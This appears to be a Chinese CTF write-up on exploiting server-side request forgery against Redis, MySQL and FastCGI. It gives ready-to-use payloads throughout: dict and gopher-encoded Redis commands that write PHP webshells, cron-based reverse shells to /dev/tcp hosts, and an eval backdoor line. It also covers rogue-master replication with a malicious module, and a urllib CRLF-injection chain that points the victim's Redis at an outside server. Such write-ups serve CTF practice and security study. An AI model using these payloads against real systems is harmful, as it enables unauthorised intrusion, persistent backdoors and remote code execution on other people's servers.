ssrf在ctf中出现的次数有很多,利用的方式也是多种多样,包括不同的利用手法,绕过,协议的使用。
在vps上开启我的redis服务,关于redis存在着一些小的漏洞,例如未授权,有些时候还没有设置auth,在ssrf中redis的利用方式多种多样,包括反弹shell,webshell写入,sshkey上传等等。
利用dict我们可以写shell。
关于信息的采集:
在redis下我们使用info即可获取redis的相关信息,对于gopher可以加上一个下划线在跟上info,同时我们也可以判断出ssrf的存在。
写入shell
很简单,可以在本地试验一下。
flushall
+OK
config set dir /home/wwwroot/default/wordpress
+OK
config set dbfilename shell.php
+OK
set webshell "<?php phpinfo();?>"
+OK
save
+OK
再看一下网站:
成功写入phpinfo。
而这周只是在redis上,在实际的情况中,利用curl会出现一些小的状况。
成功写入,但这始终是本地,实际场景下会有很大的不同,比如说利用curl
命令。
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/flushall
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/config:set:dir:/home/wwwroot/default/wordpress
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/config:set:dbfilename:shell.php
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK
[root@izbp1j0zu9bm2aus0jnbhtz ~]#
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/set:webshell:"<?php phpinfo() ?>"
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK
<script language='php'> @eval($_POST['pass']);</script>
看上去是写进去了,其实并没有,我们利用tcpdump
进行查看,发现其实由于?问号
的原因,后面的都被参数进行省略了,即使我利用burpsuit也是不可避免的。
上边是传输过程中的流量。
所以在CTF中我们想要顺利的写入一些敏感字符需要一些特定的方法。
vps上搭建环境:
漏洞代码:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
测试漏洞:
在输入INFO
后,获得输出,证明dict
协议的可用性。
在这个环境中我还是无法直接写入?
,我们可以利用编码,在这里我利用的是\x
十六进制编码来完成。
dict://127.0.0.1:6379/set:webshell:"\x3C\x3fphp\x20phpinfo\x28\x29\x3b\x3f\x3e"
可以看到完全的输出了没有被转义。
访问url
:
成功写入。
利用定时任务写入反弹shell:
set 1 '\n\n*/1 * * * * root /bin/bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
转换一下即:
url=dict://127.0.0.1:6379/set:webshell:"\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/127.0.0.1/2333\x200\x3e\x261\n\n"
但还要注意这里不能够这么写:\x5c 而应该直接就 \n
不能这么写会产生乱码,而且也无法写入,但是要知道linux
中的cron
不会报错,只要读到一行正确配置即可执行,这里直接\n
。
服务器里面看一下:
成功的获取了反弹shell。
同样的利用dict
协议我们也可以探测端口存活。
在利用ssrf攻击redis时利用gopher
协议我们可以进行主从复制,shell
的写入
我们先利用gopher
写一些键值对。
127.0.0.1:6379> set key1 value1
OK
这个时候利用tcpdump
进行抓取流经6379的流量。
相关命令:`[root@izbp1j0zu9bm2aus0jnbhtz ~]# tcpdump -i lo port 6379 -w 1200.pcap
将红色段抓取下来。
2a 31 0d 0a 24 37 0d 0a 43 4f 4d 4d 41 4e 44 0d
0a
2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 34 0d
0a 6b 65 79 31 0d 0a 24 36 0d 0a 76 61 6c 75 65
31 0d 0a
按照这个每个都加一个%号改为url格式即可。
%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a
这样直接打是不行的,还要进行url
双编码,利用curl可以只编一次码,因为他只解码一次。
此时查看服务端:
尝试写个shell
:
转换一下:
%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%33%31%0d%0a%2f%68%6f%6d%65%2f%77%77%77%72%6f%6f%74%2f%64%65%66%61%75%6c%74%2f%77%6f%72%64%70%72%65%73%73%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a
curl
发送一下:
准备保存到网页上:
在web端中进行双编码即可:
redis上看一下:
把save
也拼接上去,发包。
成功写入:
跟利用dict
协议一样。
成功反弹:
注意:写在crontab
上时候反弹shell
是这样的:
set webshell "\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/127.0.0.1/2333\x200\x3e\x261\n\n"
而写在/var/spool/cron/
下需要我们将root
去掉。
CentOS系统:
路径使用:/etc/crontab或者/var/spool/cron/root
ubuntu系统:
路径使用:/etc/crontab或者/var/spool/cron/crontabs/root
有些时候redis
是需要认证的,我们可以进行暴力破解,尝试弱密码。
在利用的时候加上auth
的流量即可。
利用ssrf我们不仅能够进攻靶机拿下受害机器获取shell
,同样也可以获取一些数据库的信息,有些时候我们可以拿这些数据库获取到的信息去扩大战果。
在mysql
数据库不存在密码的时候:
无密码认证时直接发送TCP/IP数据包即可访问
环境设置:
SET PASSWORD FOR root@localhost=PASSWORD('');
sudo mysqld_safe --skip-grant-tables &
使用上述两条命令mysql
数据库就可以不用密码进行登录。
利用tcpdump
来进行流量抓取:
tcpdump -i lo -s 0 port 3306 -w mysql.pcap
注意第一个红框为登录流量。
注意两个点:00 00 00 03
以及01 00 00 00 01
然后跟dict
协议一样直接打就行了。
ctfhub
中的环境这里直接用了。
在这里发现存在ssrf
漏洞。
file协议没有办法进行读取
判断gopher能不能打,至于判断方法,我自己是利用sleep函数来进行判断的:
![](https://xzfile.aliyuncs.com/media/upload/picture/20201205125340-d819a030-36b5-1.png)
监听一下,将流量转为
url`编码:
休眠十秒,确定存在。
sql
语句:
select '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/shell.php';
用上述方法抓取下来进行url
双编码:
访问对应url
:可以观察到回显。
有两种工具可以帮助我们快速生成payload
。
以及
mysql -h 127.0.0.1 -u root -e "select '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/test.php';"
cgi
与fastcgi
早已成为耳熟能详的一些服务了,具体原理网上有很多可见。
fastcgi
:快速通用网关接口
在对fastcgi
进行攻击的时候我们还需要了解一下另一个名词:php-fpm
实现原理:
PHP-FPM 负责管理一个进程池来处理来自 Web 服务器的 HTTP 动态请求,在 PHP-FPM 中,master 进程负责与 Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,worker 进程主要负责动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。这就是 PHP-FPM 的基本工作原理 #知乎上找的
在php
版本中的应用:从PHP 5.4 RC2
开始,php-fpm
已经转正了。
因为我的服务器选择的就是nginx
和php
,单并没有使用9000端口,查看log
日志发现它使用的是sock
方法,所以我就没换,使用了CTFHUB的靶机进行操作。
在PHP
当中我们可以利用php://input
进行一些代码执行等等,而在文件上传中我们也经常利用到htacess
文件以及usr.ini
文件,他们都有两个选项:auto_prepend_file
和auto_append_file
,将两者结合,我们让文件在加载前预加载php://input
就能进行任何的PHP
代码执行了,然后利用PHP
当中的各种内置函数来进行命令执行就能够getshell
。
在我们使用一系列的方式进行信息搜集后发现目标机器使用了Fastcgi
并且确认其网站上存在ssrf
漏洞。
因为看他的原理就可以发现这个实现是有点复杂的,所以我们可以直接利用网上的exp
进行攻击。
第一种方法利用GOPHER生成payload直接打:
可以看到打成功了。
写个定时任务就能一直弹shell
了。
我们观察一下Gophers
给我们的poc
。
第二种也可以利用别人的exp
,github
上面有很多,我这里直接用p神的。
本地开个端口监听:
把流量抓下来:
进行转换发包:
成功执行我的php
所以可以看见这其实是一个很麻烦的地方,能用gophers
就尽量用吧。
关于主从复制:
如果当前服务器已经是某个主服务器(master server)的从属服务器,那么执行 SLAVEOF host port 将使当前服务器停止对旧主服务器的同步,丢弃旧数据集,转而开始对新主服务器进行同步。
另外,对一个从属服务器执行命令 SLAVEOF NO ONE 将使得这个从属服务器关闭复制功能,并从从属服务器转变回主服务器,原来同步所得的数据集不会被丢弃。
适应场景:
当我们写shell的时候我们无法绕过对特殊字符的过滤,我们可以利用主从服务器。
利用主从服务器来写shell
:
在这里因为我本机装redis
两个实例没搞出来,因为装的时候就不太一样,所以我直接拉了一个docker
,并且做了个端口映射。
其实觉得部分的命令都已经在dict
协议的时候写过了,多了这么一点。
在本机上先试一下主从复制,然后放到公网上搞。
docker exec -it redis-test /bin/bash
进入docker
容器里,连上redis
。
master
:
slave
:
利用这个我们可以编写webshell
在实战中:假设6390端口的redis
是我们可控的redis
服务器,而6389
正是我们需要进行攻击的。
我们只需要进行主从绑定操作即可,获取到流量:
将其编码利用gophers
进行发送。
同时我们还需要
此时我们查看一下从机。
发现已经是写进行了主从复制。
这里编码的是这些数据包:
在主机上:
发送save
包:
访问phpinfo.php
:
完成了主从复制的写shell
。
而有些时候需要进行auth
的授权,在那里可以尝试根据他的返回流量进行爆破。
当然网上还有一键就能写shell
的,利用python脚本模拟redis
主从之间的交互过程:
在上面我们已经通过主从复制完成了WebShell
的写入,其实还可以更进一步直接RCE
,在redis
的4.x
以及5.x
版本当中是存在RCE的可能性的。
相关命令:
设置redis的备份路径:config set dir ./
设置备份文件名为exp.so,默认为dump.rdb:config set dbfilename exp.so
设置主服务器IP和端口:slaveof 192.168.172.129 1234
加载恶意模块:module load ./exp.so
切断主从,关闭复制功能:slaveof no one
执行系统命令:system.exec 'whoami';system.rev 127.0.0.1 9999
通过dump.rdb文件恢复数据:config set dbfilename dump.rdb
删除exp.so:system.exec 'rm ./exp.so'
卸载system模块的加载:module unload system
网上有很多exp
的poc
,这里拿的是
https://github.com/n0b0dyCN/redis-rogue-server
r3kapig
写的。
在实际当中很少有这样的情况,如果我们完成一次这样的渗透需要满足两个条件:
protected-mode
为no
, bind 由127.0.0.1
改为0.0.0.0
。 ps:bind
改动后服务器上任意网卡地址可访问
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。
现在我自己的机器上试验一下:
[>] PING - test if a connection is still alive
[<] +PONG
[>] REPLCONF - exchange replication information between master and slave
[<] +OK
[>] PSYNC/SYNC - synchronize slave state with the master
[<] +FULLRESYNC
把打的流量截取下来:(这里就是加载exp的过程)
不用脚本打的话无非就是把exp
的位置放对了就可以。
在上周的祥云杯比赛中就碰到了这类的ssrf
。
在python
的urllib
当中存在着此类漏洞,漏洞对那个存在的相应版本为2.7.10
之前以及 3.4.4
之前。
而在2019年又爆出了CVE-2019-9740
,它的对应版本也是在3.7.x
以及2.7.16
以及CVE-2019-9947
前者的利用方法为:注入点在IP地址和端口号的分隔符即:
前面
example
:http://192.168.10.137:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123:8080/test/?test=a
后者为:注入点在端口号后面
example
:http://192.168.10.137:7777/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n
<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);
function safe_url($url,$safe) {
$parsed = parse_url($url);
$validate_ip = true;
if($parsed['port'] && !in_array($parsed['port'],array('80','443'))){
echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;
return false;
}else{
preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
$long = ip2long($parsed['host']);
if($long===false){
$ip = null;
if($safe){
@putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
$ip = gethostbyname($parsed['host']);
$long = ip2long($ip);
$long===false && $ip = null;
@putenv('RES_OPTIONS');
}
}else{
$ip = $parsed['host'];
}
$ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
}
if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;
return false;
}else{
return $url;
}
}
function curl($url){
$safe = false;
if(safe_url($url,$safe)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$co = curl_exec($ch);
curl_close($ch);
echo $co;
}
}
highlight_file(__FILE__);
curl($_GET['url']);
根据两者解析的差异性直接就这么写就能打到内网:
url=http://[email protected]:6379%[email protected]/
因为协议的限制,我们无法使用dict
等协议,只能使用http
那么我们可以使用CRLF
进行内网的探测。
其实随着更进一步可以观察到这个不只有6379端口是能被利用的,5000端口也存在着漏洞,根据返回的响应头以及hint
可以大致推断出这里才是crlf
利用点:
?url=http://[email protected]:5000%[email protected]/%3Furl=https://baidu.com
接下来就是利用Python-urllib/3.7
的crlf
漏洞进行攻击
构造poc:
url=http://[email protected]:5000 @www.sina.com/?url=http://127.0.0.1:6379/%20HTTP/1.1%0D%0Aauth%20123456%0D%0Aconfig%20set%20dir%20/var/www/html%0D%0Aconfig%20set%20dbfilename%20shell.php%0D%0Aslaveof%20116.62.207.70%2021000%0D%0Afoo%3A%20
设置的redis
命令就是:
auth 123456 #爆破出来的弱密码
config set dir /var/www/html
config set dbfilename shell.php
slaveof 116.62.207.70 21000 #21000是我们redis-rogue,用的是主从复制写shell
foo:
没有利用exp.so
直接getshell
的原因是它存在的限制太多了,组内的师傅试了一下没有流量返回回来就用了写shell
的方式。
shell
打出去了,直接蚁剑连一下就行。